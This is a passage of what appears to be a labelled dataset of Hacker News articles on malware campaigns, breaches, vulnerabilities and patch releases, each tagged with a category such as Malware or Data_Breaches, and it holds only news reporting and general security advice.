Here's the name of all seven extensions masquerading as legitimate extensions:

Nigelify
PwnerLike
Alt-j
Fix-case
Divinity 2 Original Sin: Wiki Skill Popup
Keeprivate
iHabno

Although Google has removed all of the above-listed extensions, if you have installed any of them, you are advised to immediately uninstall it and change passwords for your Facebook, Instagram and as well as for other accounts where you are using the same credentials.

Since Facebook Spam campaigns are quite common, users are advised to be vigilant when clicking on links and files provided via the social media site platform.

",Malware
Government organised 12 Chinese Hacker Groups behind all Attacks,https://thehackernews.com/2011/12/government-organised-12-chinese-hacker.html,"Government organised 12 Chinese Hacker Groups behind all Attacks

About 12 different Chinese groups largely directed by the government there, do the bulk of the China based cyber attacks stealing critical data from U.S. companies and government agencies, according to U.S. cyber security analysts and experts. US online security companies are suggesting that it should have the right to force them to stop ""by any means possible"".

Sketched out by analysts who have worked with U.S. companies and the government on computer intrusions, the details illuminate recent claims by American intelligence officials about the escalating cyber threat emanating from China. And the widening expanse of targets, coupled with the expensive and sensitive technologies they are losing, is putting increased pressure on the U.S. to take a much harder stand against the communist giant.

The report states that many of the attacks carry tell-tale signatures of particular hacking groups being tracked by intelligence and cybersecurity teams in the U.S., contrary to many expert opinions which indicate that accurate attribution is nearly impossible if the attackers are savvy enough.

James Cartwright, a former vice chairman of the Joint Chiefs of Staff who advocates for increasing measures to hold China and other nation-states responsible for intrusion operations, said that ""industry is already feeling that they are at war.""

""Right now we have the worst of worlds. If you want to attack me you can do it all you want, because I can't do anything about it. It's risk free, and you're willing to take almost any risk to come after me,"" said Cartwright.

Cartwright believes the U.S. should be aggressive in their response to attacks that originate overseas, in essence establishing that ""if you come after me [the U.S.], I'm going to find you, I'm going to do something about it. It will be proportional, but I'm going to do something... and if you're hiding in a third country, I'm going to tell that country you're there, if they don't stop you from doing it, I'm going to come and get you.""

The government ""needs to do more to increase the risk,"" said Jon Ramsey, head of the counter threat unit at the Atlanta-based Dell SecureWorks, a computer security consulting company. ""In the private sector we're always on defense. We can't do something about it, but someone has to. There is no deterrent not to attack the U.S.""

According to experts, the malicious software or high-tech tools used by the Chinese haven't gotten much more sophisticated in recent years. But the threat is persistent, often burying malware deep in computer networks so it can be used again and again over the course of several months or even years.The tools include malware that can record keystrokes, steal and decrypt passwords, and copy and compress data so it can be transferred back to the attacker's computer. The malware can then delete itself or disappear until needed again.

For the first time, U.S. intelligence officials called out China and Russia last month, saying they are systematically stealing American high-tech data for their own economic gain. The unusually forceful public report seemed to signal a new, more vocal U.S. government campaign against the cyberattacks.
[Source]

",Malware
"Researchers unearth a huge botnet army of 500,000 hacked routers",https://thehackernews.com/2018/05/vpnfilter-router-hacking.html,"More than half a million routers and storage devices in dozens of countries have been infected with a piece of highly sophisticated IoT botnet malware, likely designed by Russia-baked state-sponsored group.

Cisco's Talos cyber intelligence unit have discovered an advanced piece of IoT botnet malware, dubbed VPNFilter, that has been designed with versatile capabilities to gather intelligence, interfere with internet communications, as well as conduct destructive cyber attack operations.

The malware has already infected over 500,000 devices in at least 54 countries, most of which are small and home offices routers and internet-connected storage devices from Linksys, MikroTik, NETGEAR, and TP-Link. Some network-attached storage (NAS) devices known to have been targeted as well.

VPNFilter is a multi-stage, modular malware that can steal website credentials and monitor industrial controls or SCADA systems, such as those used in electric grids, other infrastructure and factories.

The malware communicates over Tor anonymizing network and even contains a killswitch for routers, where the malware deliberately kills itself.

Unlike most other malware that targets internet-of-things (IoT) devices, the first stage of VPNFilter persists through a reboot, gaining a persistent foothold on the infected device and enabling the deployment of the second stage malware.

VPNFilter is named after a directory (/var/run/vpnfilterw) the malware creates to hide its files on an infected device.

Since the research is still ongoing, Talos researchers ""do not have definitive proof on how the threat actor is exploiting the affected devices,"" but they strongly believe that VPNFilter does not exploit any zero-day vulnerability to infect its victims.

Instead, the malware targets devices still exposed to well-known, public vulnerabilities or have default credentials, making compromise relatively straightforward.

Talos researchers have high confidence that the Russian government is behind VPNFilter because the malware code overlaps with versions of BlackEnergy—the malware responsible for multiple large-scale attacks targeting devices in Ukraine that the U.S. government has attributed to Russia.

Although devices infected with VPNFilter have been found across 54 countries, researchers believe the hackers are targeting specifically Ukraine, following a surge in the malware infections in the country on May 8.
""The malware has a destructive capability that can render an infected device unusable, which can be triggered on individual victim machines or en masse, and has the potential of cutting off internet access for hundreds of thousands of victims worldwide,"" Talos researcher William Largent said in a blog post.
The researchers said they released their findings prior to the completion of their research, due to concern over a potential upcoming attack against Ukraine, which has repeatedly been the victim of Russian cyber attacks, including large-scale power outage and NotPetya.

If you are already infected with the malware, reset your router to factory default to remove the potentially destructive malware and update the firmware of your device as soon as possible.

You need to be more vigilant about the security of your smart IoT devices. To prevent yourself against such malware attacks, you are recommended to change default credentials for your device.

If your router is by default vulnerable and cannot be updated, throw it away and buy a new one, it's that simple. Your security and privacy is more than worth a router's price.

Moreover, always put your routers behind a firewall, and turn off remote administration until and unless you really need it.

",Cyber_Attack
Apple Releases Urgent Security Patches For Zero‑Day Bugs Under Active Attacks,https://thehackernews.com/2021/05/apple-releases-urgent-security-patches.html,"Apple on Monday released security updates for iOS, macOS, and watchOS to address three zero-day flaws and expand patches for a fourth vulnerability that the company said might have been exploited in the wild.
The weaknesses all concern WebKit, the browser engine which powers Safari and other third-party web browsers in iOS, allowing an adversary to execute arbitrary code on target devices. A summary of the three security bugs are as follows -
CVE-2021-30663: An integer overflow vulnerability that could be exploited to craft malicious web content, which may lead to code execution. The flaw was addressed with improved input validation.
CVE-2021-30665: A memory corruption issue that could be exploited to craft malicious web content, which may lead to code execution. The flaw was addressed with improved state management.
CVE-2021-30666: A buffer overflow vulnerability that could be exploited to craft malicious web content, which may lead to code execution. The flaw was addressed with improved memory handling.
The development comes a week after Apple rolled out iOS 14.5 and macOS Big Sur 11.3 with a fix for a potentially exploited WebKit Storage vulnerability. Tracked as CVE-2021-30661, the use-after-free issue was discovered and reported to the iPhone maker by a security researcher named yangkang (@dnpushme) of Qihoo 360 ATA.
yangkang, along with zerokeeper and bianliang, have been credited with reporting the three new flaws.
It's worth noting that CVE-2021-30666 only affects older Apple devices such as iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation). The iOS 12.5.3 update, which remediates this flaw, also includes a fix for CVE-2021-30661.
The company said it's aware of reports that the issues ""may have been actively exploited"" but, as is typically the case, failed to elaborate about the nature of attacks, the victims that may have been targeted, or the threat actors that may be abusing them.
Users of Apple devices are recommended to update to the latest versions to mitigate the risk associated with the flaws.
Update: Apple has also released a new version of Safari 14.1 for macOS Catalina and macOS Mojave, with the update introducing fixes for the two WebKit flaws CVE-2021-30663 and CVE-2021-30665. The update comes a day after patches were shipped for iOS, macOS, and watchOS.

",Vulnerability
Sony Pictures HACKED; Studio-Staff Computers Seized by Hackers,https://thehackernews.com/2014/11/Sony-Pictures-Hacked.html,"It's a bad day for Sony yesterday!! Sony appears to be hacked once again by hackers, but this time not its PlayStation, instead its Sony Pictures Entertainment – the company's motion picture, television production and distribution unit.

According to multiple reports, the corporate computers of Sony Picture employees in New York and around the world were infiltrated by a hacker, displaying a weird skeleton, a series of URL addresses, and a threatening message that reads:
""Hacked By #GOP Warning: We've already warned you, and this is just a beginning. We continue till our request be met. We've obtained all your internal data, including your secrets and top secrets. If you don't obey us, we'll release data shown below to the world. Determine what will you do till November the 24th, 11:00 PM (GMT).""
News broke after a user, who claimed to be a former Sony staff, posted allegations of the security breach with the defacement image on Reddit.

Hackers group that identifies itself as #GOP (Guardians of Peace) claimed responsibility for the defacement across staff computers at Sony Pictures, and apparently stolen reams of internal corporate data as well.

Some reports also claims that the group also gained access to dozens of the company's Twitter accounts linked to movies such as Stomp The Yard, Soul Surfer, and Starship Troopers, but the company has since regained control of those.

A source within Sony has anonymously confirmed to TNW that the hack and the defacement image that have appeared on Staff computers inside Sony Pictures is real. They said that ""a single server was compromised and the attack was spread from there.""

The group leaked a large ZIP file containing a list of filenames of a number of documents pertaining to Sony Pictures financial records along with private keys and passwords for access to servers. There is even a text file that contains the list of last 10 recently used passwords for something at Sony.

The defacement message shown on staff computers mentions ""demands"" that must be met by November 24th at 11:00PM GMT or the files named will be released.

While the motives behind the hack are still unclear, but the group says it will expose more details to the public if what appeared to be a reference to demands quietly sent to the company earlier were not fulfilled by them.

According to Variety, Sony Pictures information-technology departments have instructed employees to turn off their computers as well as disable Wi-Fi on all mobile devices. Sony Pictures hasn't confirmed the intrusion yet, instead saying it was investigating ""an IT matter"" in a statement.

",Malware
"TalkTalk Telecom Ordered to Pay Record £400,000 Fine Over 2015 Data Breach",https://thehackernews.com/2016/10/talktalk-data-breach.html,"TalkTalk, one of the biggest UK-based Telecoms company with 4 million customers, has been issued with a record £400,000 ($510,000) fine for failings to implement the most basic security measures to prevent the hack that made global headlines last year.

The penalty has been imposed by the Information Commissioner's Office (ICO) over the high-profile cyber attack occurred in the company last October, which allowed hackers to steal the personal data of its 156,959 customers ""with ease.""

The ICO said on Wednesday that TalkTalk, which offers TV, phone and broadband services, could have prevented the cyber attack if the company had implemented even basic security measures to protect its customers' data.

The hacked data of 156,959 customers included full names, postal addresses, dates of birth, telephone numbers, email addresses and TalkTalk accounts information. The hacker also had even access to bank account details and sort codes in almost 16,000 cases.
""When it came to the basic principles of cyber-security, TalkTalk was found wanting,"" Information Commissioner Elizabeth Denham said.
""Today's record fine acts as a warning to others that cyber security is not an IT issue, it is a boardroom issue. Companies must be diligent and vigilant. They must do this not only because they have a duty under the law, but because they have a duty to their customers.""
The regulator also revealed that the targeted database software, which held details of customers inherited from the 2009 takeover of a rival Tiscali UK operations, was out of date and affected by an easily-patchable vulnerability.

As a result, the hackers attacked three vulnerable web pages using a well-known hacking technique called SQL injection and got hold of the customers' data.

TalkTalk has been attacked several times last year. Before the October cyber attack, the company's system had been breached twice — first in July and then in September 2015. But the telecom did not learn anything from its past mistakes.
""Yes, hacking is wrong, but that is not an excuse for companies to abdicate their security obligations,"" the watchdog said. ""TalkTalk should and could have done more to safeguard its customer information. It did not, and we have taken action.""
In response to the ICO's decision, TalkTalk has said that it is disappointed with the fine imposed by the ICO, but it will gladly hang its head in shame.

The company released the following statement:
""During a year in which government data showed nine in ten large UK businesses were successfully breached, the TalkTalk attack was notable for our decision to be open and honest with our customers from the outset. This gave them the best chance of protecting themselves and we remain firm that this was the right approach for them and our business.""
""As the case remains the subject of an ongoing criminal prosecution, we cannot comment further at this time.""
The investigation of the data theft is still ongoing.

Arrests Over TalkTalk Hack:

Few days after the attack, a 15-year-old boy from County Antrim, Northern Ireland, was arrested in connection with the TalkTalk Data Breach.

A second arrest was made within the week when the Metropolitan Police Cyber Crime Unit (MPCCU) arrested a 16-year-old boy from Feltham in west London.

Another arrest was made on November last year when police arrested a 16-year-old boy from London in connection with the hack.

An investigation by the Metropolitan Police Cyber Crime Unit has been running separately to the ICO's investigation.

",Data_Breaches
Nethammer—Exploiting DRAM Rowhammer Bug Through Network Requests,https://thehackernews.com/2018/05/remote-rowhammer-attack.html,"Last week, we reported about the first network-based remote Rowhammer attack, dubbed Throwhammer, which involves the exploitation a known vulnerability in DRAM through network cards using remote direct memory access (RDMA) channels.

However, a separate team of security researchers has now demonstrated a second network-based remote Rowhammer technique that can be used to attack systems using uncached memory or flush instruction while processing the network requests.

The research was carried out by researchers who discovered Meltdown and Spectre CPU vulnerabilities, which is independent of the Amsterdam researchers who presented a series of Rowhammer attacks, including Throwhammer published last week.

If you are unaware, Rowhammer is a critical issue with recent generation dynamic random access memory (DRAM) chips in which repeatedly accessing a row of memory can cause ""bit flipping"" in an adjacent row, allowing attackers to change the contents of the memory.

The issue has since been exploited in a number of ways to escalate an attacker's privilege to kernel level and achieve remote code execution on the vulnerable systems, but the attacker needed access to the victim's machine.

However, the new Rowhammer attack technique, dubbed Nethammer, can be used to execute arbitrary code on the targeted system by rapidly writing and rewriting memory used for packet processing, which would be possible only with a fast network connection between the attacker and victim.

This causes a high number of memory accesses to the same set of memory locations, which eventually induces disturbance errors in DRAM and causes memory corruption by unintentionally flipping the DRAM bit-value.

The resulting data corruption can then be manipulated by the attacker to gain control over the victim's system.
""To mount a Rowhammer attack, memory accesses need to be directly served by the main memory. Thus, an attacker needs to make sure that the data is not stored in the cache,"" the researcher paper [PDF] reads.
Since caching makes an attack difficult, the researchers developed ways that allowed them to bypass the cache and attack directly into the DRAM to cause the row conflicts in the memory cells required for the Rowhammer attack.

Researchers tested Nethammer for the three cache-bypass techniques:
A kernel driver that flushes (and reloads) an address whenever a packet is received.
Intel Xeon CPUs with Intel CAT for fast cache eviction
Uncached memory on an ARM-based mobile device.
All three scenarios are possible, researchers showed.

In their experimental setup, researchers were successfully able to induce a bit flip every 350 ms by sending a stream of UDP packets with up to 500 Mbit/s to the target system.

Since the Nethammer attack technique does not require any attack code in contrast to a regular Rowhammer attack, for example, no attacker-controlled code on the system, most countermeasures do not prevent this attack.

Since Rowhammer exploits a computer hardware weakness, no software patch can completely fix the issue. Researchers believe the Rowhammer threat is not only real but also has potential to cause real, severe damage.

For more in-depth details on the new attack technique, you can head on to this paper, titled ""Nethammer: Inducing Rowhammer Faults through Network Requests,"" published by the researchers earlier this week.

",Cyber_Attack
"How to Defend Against Malware, Phishing, and Scams During COVID-19 Crisis",https://thehackernews.com/2020/12/how-to-defend-against-malware-phishing.html,"As if the exponential rise in phishing scams and malware attacks in the last five years wasn't enough, the COVID-19 crisis has worsened it further.
The current scenario has given a viable opportunity to cybercriminals to find a way to target individuals, small and large enterprises, government corporations.
According to Interpol's COVID-19 Cybercrime Analysis Report, based on the feedback of 194 countries, phishing/scam/fraud, malware/ransomware, malicious domains, and fake news have emerged as the biggest digital threats across the world in the wake of the pandemic.
Image source: interpol.int
There are primarily two reasons for emerging cyber threats in 2020:
Most of the population is working, learning, shopping, or running their business from home, where they're using personal devices from the home/public internet connection, which are usually unsafe and hence highly vulnerable to cybercrimes.
The cybercriminals are using the COVID-19 theme to exploit people and enterprises through malicious e-mails and domains. For example, many scammers have rolled out campaigns offering COVID-19 vaccines, free medical tests and testing kits, tax rebates for donation to pandemic relief funds, information on COVID-19 cases, and new job opportunities due to the economic downturn. Some have even launched fake e-commerce websites selling COVID-19 safety, health, and sanitization products.
Let's take a look at a few examples of cyber threats and security breaches that have taken place in 2020.
Scams
In April 2020, swindlers impersonated the World Health Organization (WHO) to send e-mails to the public seeking donations to a fictitious COVID-19 fund.
In March 2020, the Department of Justice in the United States filed a legal appeal in the federal court to shut down a website called coronavirusmedicalkit[.]com, which claimed to sell free vaccine kits.
Phishing
A phishingscam campaign sent out fake Zoom invites to employees from HR. The idea was to phish out their passwords.
Several UK citizens received an e-mail from a fake government ID telling them to claim a tax refund to protect against the COVID-19 crisis.
Malware
The Powershell malware attacks in 2020 have witnessed a sharp increase of 117% in North America.
Ryuk has emerged as one of the biggest malware threats to US hospitals and healthcare providers in 2020.

Ways to Safeguard Against COVID-19 Digital Threats
Cyber risk management calls for both preventive and detective measures listed below:
1 — Educate Your Staff
Most phishing e-mails appear so legitimate that your employees are likely to open the attachment or embedded link without verifying the sender's e-mail id or the information in the message's body.
Create cybersecurity awareness among your employees to help them identify unauthenticated e-mails. Tell them to double-check the sender's e-mail address and look for grammatical errors or unusual requests. If they suspect anything, they should immediately get in touch with the IT team instead of forwarding the e-mail to co-workers.
2 — Encrypt and Backup Data
You must use full-disk encryption software to encrypt all sensitive data of your company, customers, and employees.
It is also always a good idea to take a system backup of your databases, files, and databases at regular intervals.
The general rule of backup is 3-2-1: create at least three copies, two of which should be on different mediums (devices/cloud), and one copy should be off-site for disaster recovery.
3 — Fortify Cybersecurity Policy for Remote Working
It is crucial to create a strict rulebook for your employees, laying down the protocol for using home computing devices and internet connection. They should use a secure internet connection, avoid the use of office devices for personal use, and store official files/information only on company storage systems.
Also, make sure that your company implements robust firewall rules and multi-layer authentication for VPN, critical business systems, and any other remote network connections. Let your employees know the company-approved applications and collaboration tools they have to use.
4 — Use Anti-Virus Solutions
This may sound like basic security protocol, but it is extremely important to install sophisticated and trustworthy anti-virus software on your company servers and devices.
5 — Secure Your Web and Mobile Applications
With COVID-19 pushing the world to embrace digital on every front, your web and mobile applications are more at risk from cyber threats and security violations. Hence, you must proactively monitor application security risks and take preventive measures to mitigate them.
You can do so by implementing AppTrana, a risk-based, fully managed application security solution offered by Indusface. AppTrana provides real-time protection against OWASP exploits, DDOS attacks, Bot Mitigation, and Zero-Day attacks.
You can also consider Indusface WAS, which is a comprehensive web application vulnerability detection solution. It provides Automated DAST Scanner combined with on-demand Manual Penetration Testing and false-positive removal via manual verification.
If you are looking for mobile security solutions, then Indusface MAS runs in-depth Pen-testing with multiplatform coverage, including iOS, Android, and Windows, for vulnerability detection.
Conclusion
COVID-19 has put the pressing need on organizations to re-strategize their cybersecurity policy to keep digital threats at bay.
It is also essential to understand that cyber threats are here to stay even after the ongoing pandemic because global digital usage is expected to increase continuously in the coming years.
Hence, it would help if you get prepared on all fronts to combat the cyber-attacks effectively.

",Malware
POS Machine Vendor Warns of Possible Payment Card Breach at Restaurants,https://thehackernews.com/2014/07/pos-machine-vendor-warns-of-possible.html,"Due to the better track inventory and accuracy of records, Point-of-sale (POS) systems are being used in most of the industries including restaurants, lodging, entertainment, and museums around the world. It can be easily set-up depending on the nature of the business.

Despite that, Point-of-sale (POS) systems are critical components in any retail environment and users are not aware of the emerging threats it poses in near future. So, it is one of the apparent target for cybercriminals and the recent security breach at Information Systems & Suppliers (ISS) proves this.

Information Systems & Suppliers (ISS) Inc., the vendor of point-of-sale (POS) electronic cash registers and security systems used by restaurants has warned its customers that it may have experienced a payment card breach.

HACKERS COMPROMISED VENDOR'S LogMeIn SERVICE
The company on June 12 notified restaurant customers of its remote-access service, the popular LogMeIn, had been compromised that may have exposed credit card details linked to POS transactions conducted between Feb. 28 and April 18 of this year.
""We recently discovered that our Log-Me-In account was breached on February 28, March 5 and April 18, 2014,"" Thomas Potter, president of Information Systems & Suppliers (ISS) Inc., states in the letter. ""We have reason to believe that the data accessed could include credit card information from any cards used by your customers between these dates.""
Log-Me-In is a remote access and systems management service founded in 2003, which helps remote control, systems management, business collaboration, along with file sharing and data backup. The company is based in Boston, Massachusetts.

ATTACK VECTOR: PHISHING
It is believed that the hacker possibly launch a phishing attack against a company's employees in an effort to steal the company's remote access credentials.
""We regret this happened, are sorry for any difficulties it may cause, and have taken additional action to protect this from happening again,"" Potter said.
The company didn't mention that how many restaurants or credit card accounts were at risk, but it believes that not all and FuturePOS customers are affected in the credit card breach. ""We tried to get out ahead of this thing and do what was right by our customers,"" he says, adding that the firm had so far not seen any direct evidence of card information being misused.

To be on the safer side in near future, the company has changed its ""Log-Me-In"" credentials, as well as added a secondary password protection to protect themselves from other malicious activities, and is in the process of running virus scans at all of its sites.

RISING THREAT TO POS SYSTEMS
Due to lack of concern and security measures, point-of-sale (POS) systems have become an attractive target for cybercriminals. Attackers can also steal the information by leveraging the weakness in the point-of-sale (POS) environment such as unprotected memory, unencrypted network transmission, poorly encrypted disk storage, card reader interface, or compromised pinpad device.

In past year, we have seen many massive data breaches targeting POS machines such as the TARGET data breach occurred during the last Christmas holiday in which over 40 million Credit & Debit cards were stolen, and multiple retailers including Neiman Marcus, Michaels Store involving the heist of possibly 110 million Credit-Debit cards, and personal information.

",Data_Breaches
New 'MosaicRegressor' UEFI Bootkit Malware Found Active in the Wild,https://thehackernews.com/2020/10/uefi-bootkit-malware.html,"Cybersecurity researchers have spotted a rare kind of potentially dangerous malware that targets a machine's booting process to drop persistent malware.
The campaign involved the use of a compromised UEFI (or Unified Extensible Firmware Interface) containing a malicious implant, making it the second known public case where a UEFI rootkit has been used in the wild.
According to Kaspersky, the rogue UEFI firmware images were modified to incorporate several malicious modules, which were then used to drop malware on victim machines in a series of targeted cyberattacks directed against diplomats and members of an NGO from Africa, Asia, and Europe.
Calling the malware framework ""MosaicRegressor,"" Kaspersky researchers Mark Lechtik, Igor Kuznetsov, and Yury Parshin said a telemetry analysis revealed several dozen victims between 2017 and 2019, all of whom had some ties to North Korea.
UEFI is a firmware interface and a replacement for BIOS that improves security, ensuring that no malware has tampered with the boot process. Because UEFI facilitates the loading of the operating system itself, such infections are resistant to OS reinstallation or replacement of the hard drive.
""UEFI firmware makes for a perfect mechanism of persistent malware storage,"" Kaspersky said. ""A sophisticated attacker can modify the firmware in order to have it deploy malicious code that will be run after the operating system is loaded.""
That's exactly what this threat actor appears to have done. Although the exact infection vector employed to overwrite the original firmware remains unknown at this stage, a leaked manual suggests the malware may have been deployed through physical access to the victim's machine.
The new UEFI malware is a custom version of the Hacking Team's VectorEDK bootkit, which was leaked in 2015 and has since been available online. It's used to plant a second payload, called the MosaicRegressor — ""a multi-stage and modular framework aimed at espionage and data gathering"" that consists of additional downloaders to fetch and execute secondary components.
The downloaders, in turn, contact the command-and-control (C2) server to grab next-stage DLLs in order to execute specific commands, the results of which are exported back to the C2 server or forwarded to a ""feedback"" mail address from where the attackers can collect the amassed data.
The payloads are transferred in a variety of ways, including via e-mail messages from mailboxes (""mail.ru"") hard-coded in the malware's binary.
In some cases, however, the malware was delivered to some of the victims via spear-phishing e-mails with embedded decoy documents (""0612.doc"") written in Russian that purported to discuss events related to North Korea.
With regards to the identity of the threat actor behind MosaicRegressor, Kaspersky said it found multiple code-level hints that indicate they were written in Chinese or Korean and noted the use of Royal Road (8.t) RTF weaponizer, which has been tied to multiple Chinese threat groups in the past.
Lastly, Kaspersky found a C2 address in one of MosaicRegressor's variants that have been observed in connection with Chinese hacker groups broadly known as Winnti (aka APT41).
""The attacks [...] demonstrate the length an actor can go in order to gain the highest level of persistence on a victim machine,"" Kaspersky concluded.
""It is highly uncommon to see compromised UEFI firmware in the wild, usually due to the low visibility into attacks on firmware, the advanced measures required to deploy it on a target's SPI flash chip, and the high stakes of burning sensitive toolset or assets when doing so.""

",Malware
Has Your TeamViewer Account Been Hacked? Here's What to Do Immediately,https://thehackernews.com/2016/06/teamviewer-hacked-security.html,"Do you have remote login software TeamViewer installed on your desktop?

If Yes, then it could be possible that your system can be accessed by attackers to steal your personal details, including your bank and PayPal accounts, as several reports on Reddit and Twitter suggests.

According to recent reports, the popular TeamViewer software that is used to remotely control PCs appears to have been HACKED!

Over the past few days, a number of users headed on to the Internet forums to report that unknown attackers are taking control of their computers through their TeamViewer accounts and, in some cases, trying to steal money through services like eBay or PayPal.

This same behavior has also been reported by the IBM security researcher Nick Bradley, who said:
""In the middle of my gaming session, I lose control of my mouse, and the TeamViewer window pops up in the bottom right corner of my screen. As soon as I realize what is happening, I kill the application. Then it dawns on me: I have other machines running TeamViewer!""
But, the question still remains: What really happened to TeamViewer?

Actually, no one knows, at least, for now.

Because no evidence indicates a system-wide security breach at TeamViewer that could have given the attackers some sort of backdoor into users' PCs.

TeamViewer has also reacted by strongly denying the claims that the intrusions are the result of a hack on TeamViewer's network.

Instead, the account takeovers are the result of end users' carelessness. Moreover, the company referred to the recent widespread ""mega breaches"" that have dumped over 642 Million passwords over the past month.
""As you have probably heard, there have been unprecedented large-scale data thefts on popular social media platforms and other web service providers,"" the company wrote.
""Unfortunately, credentials stolen in these external breaches have been used to access TeamViewer accounts, as well as other services.""
However, TeamViewer stands strong by its statement that a Denial of Service (DoS) attack knocked some of its servers offline on Wednesday, but the company managed to bring them back online after a few hours.

Also Read: Best Password Manager — For Windows, Linux, Mac, Android, iOS and Enterprise

The company advised its users to avoid careless use of its service and always:
Use a different password for each account.
Use two-factor authentication.
Use a password manager.
Don't tell other people your passwords.
Moreover, TeamViewer also announced two new features on Friday aimed at boosting its users' security after numerous users flocked online to complain about getting hacked through its service.

The two new features are:
Trusted Devices
Data Integrity
The Trusted Devices feature is specifically designed to prevent hackers from taking over your TeamViewer account. The feature allows you to approve the new device as trusted before it can access an existing TeamViewer account for the first time.

The device approval process is conducted by clicking a validation link sent to the account owner's email address.

The second feature, dubbed Data Integrity, works by automatically monitoring a user's account activity. If it detects any unusual behavior that might suggest account has been hacked, the service forces users to reset their password.

Here's What you should do:

TeamViewer users are strongly recommended to change their account passwords and use a strong one, and of course, NOT to use the same credentials across multiple sites.

I know, remembering different passwords for different accounts is a real pain, but you can use a good password manager to solve this issue.

Meanwhile, users should also ensure their TeamViewer accounts are protected with a randomly generated password that is at least 10 characters long, contains numbers, symbols, and uppercase and lowercase letters, and is unique.

It is always a good idea to run the TeamViewer software only when it's truly needed, instead of allowing it to auto-start each time your PC is turned on.

If you have also experienced something fishy with your TeamViewer account, let us know in the comments below.

",Data_Breaches
Iranian Ajax Security Team targets US Defense Industry,https://thehackernews.com/2014/05/iranian-ajax-security-team-targets-us.html,"The Iranian hacking group, which calls itself the ""Ajax Security Team"", was quite famous from last few years for websites defacement attacks, and then suddenly they went into dark since past few months. But that doesn't mean that the group was inactive, rather defacing the websites, the group was planning something bigger.

The Group of hackers at Ajax Security Team last defaced a website in December 2013 and after that it transitioned to sophisticated malware-based espionage campaigns in order to target U.S. defense organizations and Iranian dissidents, according to the report released by FireEye researchers.

""The transition from patriotic hacking to cyber espionage is not an uncommon phenomenon. It typically follows an increasing politicization within the hacking community, particularly around geopolitical events,"" researchers Nart Villeneuve, Ned Moran, Thoufique Haq and Mike Scott wrote in the report. ""This is followed by increasing links between the hacking community and the state, particularly military and/or intelligence organizations.""

The security firm has been tracking the activities of the hacking group on online forums and identified some of the group's prominent members by their screen names, ""HUrr1c4nE!"" and ""Cair3x.""

FireEye found that the Ajax Security Team appeared to be formed in 2010, have stopped the website defacement attacks and started more targeted attacks with the aim to retrieve the information from systems through their own custom designed malware.

The group dubbed the malware as 'Stealer,' which isn't particularly much advanced like the malwares are today, still very effective and sophisticated.

Stealer uses common techniques to steal credential data and is built into a CAB extractor. Once activated, the extractor drop a malware called IntelRS.exe, which adds a backdoor to the target system that communicates with command-and-control servers over FTP, keylogger and screenshot-grabbing tools.

The malware has capability to steal browser information such as bookmarks and history and also collects system information such as running processes, IP addresses and many more.

In the report titled ""Operation Saffron Rose"", the malware campaign disclosed that the team used email, inbox messages over various social networks, fake login pages and the propagation of anti-censorship software infected with malware to lure targets into installing malicious software and revealing credentials from their machines.

In one case, the group targeted the Western Defense companies, particularly those in the Aerospace industry, using a fake registration page impersonating the IEEE Aerospace conference. In order to do this, first the group registered the domain aeroconf2014[.]org, similar to the legitimate conference domain, and then sent out emails to companies in the field with a link to their fake site.

Once they visited the site and tries to register themselves for the conference, they would be prompted to install proxy software in order to access the website. But, the software was actually a Stealer malware, FireEye said.

In addition to it, the attackers also used phishing emails to grab credentials for a variety of online services such as Outlook Web Access and VPN logins.

""The increased politicization of the Ajax Security Team, and the transition from nuisance defacements to operations against internal dissidents and foreign targets, coincides with moves by Iran aimed at increasing offensive cyber capabilities,"" the security firm concluded. ""While the relationship between actors such as the Ajax Security Team and the Iranian government remains unclear, their activities appear to align with Iranian government political objectives.""

The researcher also discovered a command-and-control server used by the group to store victims' stolen data and recovered the data of 77 infected victims targeted by the group. Most of the victims had their computers set to Iran's time zone and Persian language. The firm also unearthed evidence the group targeted U.S. defense contractors.

FireEye states that the objectives of Ajax team are apparently consistent with the efforts of Iranian government to control political opposition and to expand its offensive cyber capabilities.

",Malware
Microsoft Releases October 2019 Patch Tuesday Updates,https://thehackernews.com/2019/10/microsoft-patch-tuesday-october.html,"Microsoft today rolling out its October 2019 Patch Tuesday security updates to fix a total of 59 vulnerabilities in Windows operating systems and related software, 9 of which are rated as critical, 49 are important, and one is moderate in severity.

What's good about this month's patch update is that after a very long time, none of the security vulnerabilities patched by the tech giant this month is being listed as publicly known or under active attack.

Moreover, there is no roll-up patch for Adobe Flash Player bundled in Windows update for this month.

Besides this, Microsoft has also put up a notice as a reminder for Windows 7 and Windows Server 2008 R2 users, warning them that the extended support for these two operating systems is about to end in the next two months and that they will no longer receive updates as of January 14, 2020.

Two of the critical vulnerabilities patched this month are remote code execution flaws in the VBScript engine, and both exist in the way VBScript handles objects in memory, allowing attackers to corrupt memory and execute arbitrary code in the context of the current user.

These two vulnerabilities, tracked as CVE-2019-1238 and CVE-2019-1239, can be exploited remotely by tricking victims into visiting a specially crafted website through Internet Explorer.

An attacker can also exploit these issues using an application or Microsoft Office document by embedding an ActiveX control marked 'safe for initialization' that utilizes Internet Explorer rendering engine.

Just like recent months, Microsoft has patched another reverse RDP attack, where attackers can take control over client computers connecting to a malicious RDP server by exploiting a critical remote code execution vulnerability in Windows built-in Remote Desktop Client application.

Unlike the wormable BlueKeep vulnerability, the newly-patched RDP vulnerability is client-side, which requires an attacker to trick victims into connecting to a malicious RDP server via social engineering, DNS poisoning, or using a Man in the Middle (MITM) technique.

Three critical RCE vulnerabilities are memory corruption flaws resides in the way Chakra scripting engine handles objects in memory in Microsoft Edge, whereas one critical RCE flaw is an elevation of privilege issue which exists when Azure App Service on Azure Stack fails to check the length of a buffer before copying memory to it.

Other vulnerabilities patched by Microsoft this month and marked as important reside in the following Microsoft products and services:

Microsoft Windows
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office, Office Services and Web Apps
SQL Server Management Studio
Open Source Software
Microsoft Dynamics 365
Windows Update Assistant

Most of these vulnerabilities allow elevation of privilege, and some also lead to remote code execution attacks, while others allow information disclosure, cross-site scripting (XSS), security feature bypass, spoofing, tampering, and denial of service attacks.

Windows users and system administrators are highly advised to apply the latest security patches as soon as possible in an attempt to keep cybercriminals and hackers away from taking control of their computers.

For installing the latest Windows security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your PC, or you can install the updates manually.

",Vulnerability
NATO Server Hacked by 1337day Inj3ct0r and Backup Leaked !,https://thehackernews.com/2011/07/nato-server-hacked-by-1337day-inj3ct0r.html,"NATO Server Hacked by 1337day Inj3ct0r and Backup Leaked !


